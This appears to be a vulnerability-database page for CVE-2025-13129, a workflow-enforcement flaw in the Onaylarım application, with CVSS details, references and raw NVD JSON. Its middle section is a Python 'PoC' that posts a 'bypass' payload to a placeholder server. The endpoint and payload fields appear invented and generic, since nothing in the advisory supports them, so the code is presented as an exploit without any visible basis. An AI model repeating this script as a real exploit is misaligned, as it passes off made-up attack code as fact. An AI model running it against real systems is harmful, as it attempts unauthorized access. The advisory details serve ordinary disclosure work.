CVE-2025-13129

Description

Improper Enforcement of Behavioral Workflow vulnerability in Seneka Software Hardware Information Technology Trade Contracting and Industry Ltd. Co. Onaylarım allows Functionality Misuse.This issue affects Onaylarım: from 25.09.26.01 through 18112025.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Onaylarım 25.09.26.01

Onaylarım 18112025及之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-13129 PoC - Onaylarım Functionality Misuse
# Target: Onaylarım application vulnerable versions
# Type: Business Logic / Workflow Bypass

TARGET_URL = "https://target-server.com/onaylarim"
ATTACKER_TOKEN = "your-authenticated-user-token"

def exploit_workflow_bypass():
    """
    This PoC demonstrates the workflow bypass vulnerability in Onaylarım.
    The application fails to properly enforce behavioral workflow restrictions.
    """
    headers = {
        "Authorization": f"Bearer {ATTACKER_TOKEN}",
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0"
    }
    
    # Step 1: Identify the vulnerable endpoint
    # The application does not validate workflow state transitions properly
    
    # Step 2: Attempt to access privileged functionality
    # by bypassing the expected workflow sequence
    
    exploit_payload = {
        "action": "execute_privileged_operation",
        "workflow_step": "unauthorized",
        "target_resource": "sensitive_data",
        "bypass_verification": True
    }
    
    response = requests.post(
        f"{TARGET_URL}/api/workflow/execute",
        headers=headers,
        json=exploit_payload,
        verify=False
    )
    
    if response.status_code == 200:
        print("[+] Workflow bypass successful!")
        print(f"[+] Response: {response.json()}")
        return True
    else:
        print("[-] Exploitation failed or patch applied")
        return False

if __name__ == "__main__":
    exploit_workflow_bypass()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13129
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13129
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13129/
[4] VulDB https://vuldb.com/cve/CVE-2025-13129
[5] https://www.usom.gov.tr/bildirim/tr-25-0422

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13129", "sourceIdentifier": "[email protected]", "published": "2025-12-01T15:15:48.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Enforcement of Behavioral Workflow vulnerability in Seneka Software Hardware Information Technology Trade Contracting and Industry Ltd. Co. Onaylarım allows Functionality Misuse.This issue affects Onaylarım: from 25.09.26.01 through 18112025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-841"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0422", "source": "[email protected]"}]}}